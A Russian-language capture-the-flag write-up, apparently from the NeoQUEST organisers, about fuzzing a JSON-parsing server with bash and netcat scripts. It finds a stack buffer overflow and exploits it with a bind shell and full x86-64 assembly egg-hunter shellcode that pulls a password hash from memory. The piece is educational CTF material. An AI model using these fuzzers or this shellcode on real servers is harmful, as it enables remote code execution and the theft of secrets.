Для поиска уязвимостей все средства хороши, а чем хорош фаззинг? Ответ прост: тем, что он дает возможность проверить, как себя поведёт программа, получившая на вход заведомо некорректные (а зачастую и вообще случайные) данные, которые не всегда входят во множество тестов разработчика.
Некорректное завершение работы программы в ходе фаззинга позволяет сделать предположение о наличии уязвимости.
В этой статье мы:
- продемонстрируем, как фаззить обработчик JSON-запросов;
- используя фаззинг, найдём уязвимость переполнения буфера;
- напишем шеллкод на Ассемблере для эксплуатации найденной уязвимости.
Разбирать будем на примере исходных данных задания прошлого NeoQUEST. Известно, что 64-хбитный Linux-сервер обрабатывает запросы в формате JSON, которые заканчиваются нуль-терминатором (символом с кодом 0). Для получения ключа требуется отправить запрос с верным паролем, при этом доступа к исходным кодам и к бинарнику серверного процесса нет, даны только IP-адрес и порт. В легенде к заданию также было указано, что MD5-хеш правильного пароля содержится где-то в памяти процесса после следующих 5 символов: «hash:». А для того, чтобы вытащить пароль из памяти процесса, необходима возможность удалённого исполнения кода.
«Прощупываем» порт
Пробуем соединение по указанному адресу и порту. Для этого пользуемся широко известной утилитой netcat – «швейцарским ножом» для работы с сетью. Не забываем про завершающий нуль-терминатор в запросе:
По характеру получаемого ответа понимаем, какой вход ожидает серверный процесс. Он действительно обрабатывает голые JSON-запросы без заголовков и иных посторонних символов. Уточним, какие JSON-запросы сервер считает допустимыми с точки зрения синтаксиса:
Судя по этим ответам сервера, он распознает в качестве значений целые числа, но не распознает булевы значения.
Эти ответы сервера говорят о том, что он распознает в качестве значений непустые массивы.
Сервер распознает вложенные друг в друга ассоциативные массивы и обычные массивы, но, опять же, непустые.
В случае, если формат запроса корректно распознан, сервер проверяет наличие тега «pass» в главном ассоциативном массиве:
Если такой тег есть, проверяется его значение и, по-видимому, его хеш сверяется со значением в памяти.
Как получить корректное значение пароля? Можно попробовать простой перебор поля с паролем в запросах. Впрочем, результатов такая примитивная атака не дала.
Что ж, попробуем поискать в обработчике запросов уязвимость, эксплуатация которой позволит выполнить необходимый шеллкод и получить хеш пароля.
Используем фаззинг!
Единственный источник информации – ответы сервера на наши запросы. В отсутствии бинарного кода и исходников используем фаззинг. Более подробно про сам подход к тестированию читаем тут и там, и узнаем, что есть два основных метода фаззинга:
- Генерация данных.
- Мутация данных.
Генерировать можно случайные данные (такой подход часто называют dumb-фаззинг) или входные данные, сформированные в соответствии с моделями (smart-фаззинг). Мутация обеспечивает видоизменение существующих входных данных.
Будем использовать генерацию данных и перебирать все потенциально узкие места JSON-формата, чтобы найти такие входные запросы, при которых ответ сервера отличается от обычного.
Проверку проведем в несколько этапов:
- Замена служебных символов корректного запроса на неправильные.
- Сделаем большой уровень вложенности объектов и списков JSON друг в друга.
- Будем формировать запросы, в которых чего-либо «много» (длинные строки в ключах и значениях, объекты с большим количеством пар «ключ-значение», длинные списки).
1. Замена служебных символов корректного запроса на неправильные
Служебные символы — скобки, запятые, двоеточие, разделители (пробелы). Благодаря этому, в разных местах будет нарушаться структура корректного запроса. Пример такого фаззера:
#!/bin/bash
#correct query
base='{"example" : {"innerobj" : "someval"}, "example" : 777777777, "example" : [1, [2, {"inlist" : "val"}], 3], "end" : "543"}'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
#what we must replace in correct base query
declare -a checkable_syms=('[' ']' '{' '}' ' ' ':' ',')
#bad substitution symbols to replace with
declare -a arr=(" " "]" "{" "[[" "}}" ":" "," "A" "1" ";")
echo "Fuzzing maintenance symbols.."
for symbol in "${checkable_syms[@]}"
do
#how manu occurencies of symbol in base string?
num=$(($(echo $base | awk "BEGIN{FS="[$symbol]"} {print NF}") - 1))
#check every position of symbol
for i in $(seq 1 $num)
do
#trying all of the "bad" substitutions
for bad_sym in "${arr[@]}"
do
#dont bring
if [[ "$bad_sym" != "$symbol" ]]; then
#constructing the query to server
resp=`echo -e "$basex00" | sed "s/[$symbol]/$bad_sym/$i" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
fi
done
done
done
Результатов такая проверка не дала. Значит, будем проверять другие случаи.
2. Проверка на большой уровень вложенности объектов и списков JSON друг в друга
Пример фаззера для проверки:
#!/bin/bash
#how many nested objects
N=1024
base='"{"example" : "'
final='"{"innerobj" : "someval"}"'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
echo "Fuzzing nested objects.."
for i in $(seq 1 $N)
do
#constructing the query to server with nested object
que="$base*$i + $final + "}"*$i + "x00""
pyt="print($que);"
resp=`python -c "$pyt" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
Done
Опять сервер корректно обрабатывает все запросы. Аналогично проверяются списки большой вложенности. Их сервер также корректно обрабатывает. Будем проверять дальше!
3. Проверка на запросы, в которых чего-то «много»
Проверим длинные строки в ключах и значениях, объекты с большим количеством пар ключ-значение, длинные списки.
#!/bin/bash
#how many nested objects
N=2048
base1='{"example'
letter='A'
final1='": "example"}'
base2='{"example" : "example'
final2='"}'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
flag=0
echo "Fuzzing long strings.."
for i in $(seq 1 $N)
do
#checking long string key or value
if [[ "$flag" == 0 ]]; then
base=$base1
final=$final1
flag=1
else
base=$base2
final=$final2
flag=0
fi
que=""$base" + ("$letter")*$i + "$final" + "x00""
pyt="print($que);"
resp=`python -c "$pyt" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done
Как видим, длинные строки обрабатываются нормально. Длинные списки тоже. А как насчет длинных объектов?
Пример фаззера:
#!/bin/bash
#how many pairs in resulting object
N=260
head='{'
block='"example" : "val", '
final='"last" : "block"}'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
echo "Fuzzing long objects.."
for i in $(seq 1 $N)
do
#constructing long object
que=""$head" + ("$block")*$i + "$final" + "x00""
pyt="print($que);"
resp=`python -c "$pyt" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done
Вот оно! При достаточно длинном объекте ответ сервера неполный – пользователю не выдается exit code. Это начинает происходить, когда объект содержит больше 257 пар «ключ-значение». Если сделать их количество еще больше, мы увидим, что ответ вообще не приходит:
Судя по всему, перед нами классическое переполнение буфера. Пары «ключ-значение» при разборе входного запроса помещаются в константный буфер на стеке без предварительной проверки их количества в запросе.
При этом, если число пар лежит в диапазоне от 257 до 281, перетирается адрес возврата из функции-обработчика запроса, а если их больше 281, вероятно, перетираются какие-то локальные переменные за адресом возврата. Это приводит к тому, что до пользователя не доходит и первая часть сообщения об ошибке.
Уязвимость найдена!
Эксплуатируем уязвимость
Чтобы выполнить задание и получить заветный токен, необходимо понять, чем перетирается адрес возврата. Логично предположить, что на стек последовательно складываются не сами строки (ключи и значения объекта в запросе), а указатели на них. Если это так, можно не беспокоиться о размещении шеллкода в памяти и передаче на него управления. ASLR также в таком случае перестает быть помехой.
Сильно испортить жизнь нам может DEP, ведь память под строки выделяется в куче. Но не будем торопиться с выводами и проверим наши идеи на практике. Для этого возьмем какой-нибудь проверочный шеллкод под нашу платформу с целью понять, исполняема ли память в куче у процесса сервера?
Для этого возьмем обыкновенный bindshell на порт 4444 отсюда:
Поскольку у нас нет сведений о точном размере буфера, о наличии прочих локальных переменных, выравнивании памяти на стеке и т.д., необходимо размещать шеллкод немного с запасом. Разместим его в четырёх значениях у пар после 256, им предшествующих:
Ура, все работает! Память с шеллкодом исполняема, и адрес возврата из функции-обработчика запросов перезаписывается указателем на строку с шеллкодом автоматически. У нас появился удаленный шелл на сервере. Попробуем развить успех и получить доступ к бинарному коду JSON-обработчика:
Увы, недостаточно прав, чтобы сделать что-либо стоящее. Похоже, что бинарник серверного обработчика зашифрован, и без этого пароля не получить доступ к бинарному коду.
Пишем шеллкод и получаем токен
Отчаиваться рано. Вспомним, что в данном случае наша цель – не бинарник как таковой, а значение в памяти процесса /neoquest/vuln.
Зная, что файл бинарника зашифрован, и что bindshell замещает текущий процесс сервера в памяти процессом bash, пойдём другим путем. Напишем свой egg hunt шеллкод, который найдет в памяти процесса нужное значение по известному префиксу («hash:») и выдаст его пользователю.
Вариант нашего шеллкода (длинного!) под спойлером:
xor eax,eax
xor ebx,ebx
xor edx,edx
;socket create syscall
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29
syscall
;store the server sock
xchg ebx,eax
;bind on port 4444 syscall
xor rax,rax
push rax
push 0x5c110102
mov [rsp+1],al
mov rsi,rsp
mov dl,0x10
mov edi,ebx
mov al,0x31
syscall
;listen syscall
mov al,0x5
mov esi,eax
mov edi,ebx
mov al,0x32
syscall
;accept connection syscall
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b
syscall
;store socket
mov edi,eax
;dup2 syscalls - for printing result to client
xor rax,rax
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
;egg hunter
xor rsi, rsi ; Some prep junk.
xor rdi, rdi
xor rbx, rbx
add bl, 5
go_end_of_page:
or di, 0x0fff ; We align with a page size of 0x1000
next_byte:
mov cx, di
cmp cl, 0xff
; next byte offset
jne cmps
inc rdi
push 21
pop rax ; We load access() in RAX
; push rdx
; pop rdi
mov rdx, rdi
add rdi, rbx ; We need to be sure our 5 byte egg check does not span across 2 pages
syscall ; syscall to access()
cmp al, 0xf2 ; Checks for EFAULT. EFAULT indicates bad page access.
je go_end_of_page
jmp cmps2
cmps:
inc rdi
cmps2:
cmp [rdi - 4] , dword 0x3a687361 ;ash: letters
jne next_byte
cmp [rdi - 5] , dword 0x68736168 ;hash letters
jne next_byte
after:
;printf 32 byte of MD5-hash
xor rax, rax
add rax, 1
mov rsi, rdi
xor rdi, rdi
add rdi, 1
xor rdx, rdx
mov dl, 0x20 ; Size of
syscall
;exit syscall
xor rax, rax
add rax, 0x3b
xor rdi, rdi
syscall
Что делает этот шеллкод:
- Создает сокет, прикручивает к нужному порту (bind на 4444), ожидает соединения (listen).
- Принимает соединение, сохраняет клиентский сокет для дальнейшего использования (accept).
- Копирует дескрипторы STDIN, STDOUT, STDERR в клиентский сокет для выдачи результата (dup2).
- Обходит память постранично (по 4Кб). Если адрес отображен в адресное пространство процесса – движемся по странице в поисках 5-символьного префикса «hash:». Если адрес не отображен, переходим к следующей странице. Проверка адреса осуществляется системным вызовом access.
- Найденный адрес используем для вывода в клиентский сокет 32 байт памяти после него – там должен лежать искомый хеш пароля (сист. вызов write).
- Завершает работу (exit).
Шеллкод написали, теперь протестируем наше решение:
Сработало! При подключении на 4444 порт мы видим искомые 32 символа хеша пароля. Осталось получить пароль. Воспользуемся Google:
Искомый пароль: ABAB865A15B15538D81C066574449597. Осталось получить заветный токен:
Искомый токен: 795944475660c18d83551b51a568baba
Преимущества и недостатки фаззинга
Большое разнообразие возможных точек входа (текстовая строка, вводимая посредством GUI, бинарные данные из файла, значение поля сетевого запроса) и тестируемых приложений (можно фаззить файлы, протоколы, драйверы, веб-приложения, исходники...) делает фаззинг довольно эффективным подходом к поиску проблем безопасности программного кода.
В данной статье мы продемонстрировали довольно простой пример фаззинга, в котором мутация генерируемых тестовых данных была сведена к минимуму, однако современные фаззеры (Peach, Sulley, HotFuzz и другие ) обладают гораздо более богатым функционалом, реализуя множество алгоритмов мутации.
Тем не менее, у подхода к тестированию методом фаззинга есть и вполне очевидный недостаток: поскольку фаззер не обладает знаниями о внутренней структуре тестируемой программы, для поиска проблем безопасности придется перебрать огромное количество вариантов тестовых данных. А это, в свою очередь, требует значительных временных затрат.
А на NeoQUEST-2017 — еще больше интересных заданий!
Тренируясь в прохождении заданий NeoQUEST, всегда можно узнать что-то новое и понять, как на практике работают те или иные механизмы безопасности. В данной статье мы рассказали, что такое фаззинг, продемонстрировали, как можно обнаружить уязвимость переполнения буфера данным методом, и написали шеллкод для найденной уязвимости на Ассемблере. При этом, мы исполнили свой код, не имея даже бинарника уязвимой программы. Это — наглядная демонстрация того, что может быть, если сервер плохо реализован.
В заданиях NeoQUEST-2017, который пройдет с 1 по 10 марта, несомненно, тоже будет чему научиться, поэтому смело регистрируйтесь!
Автор: НеоБИТ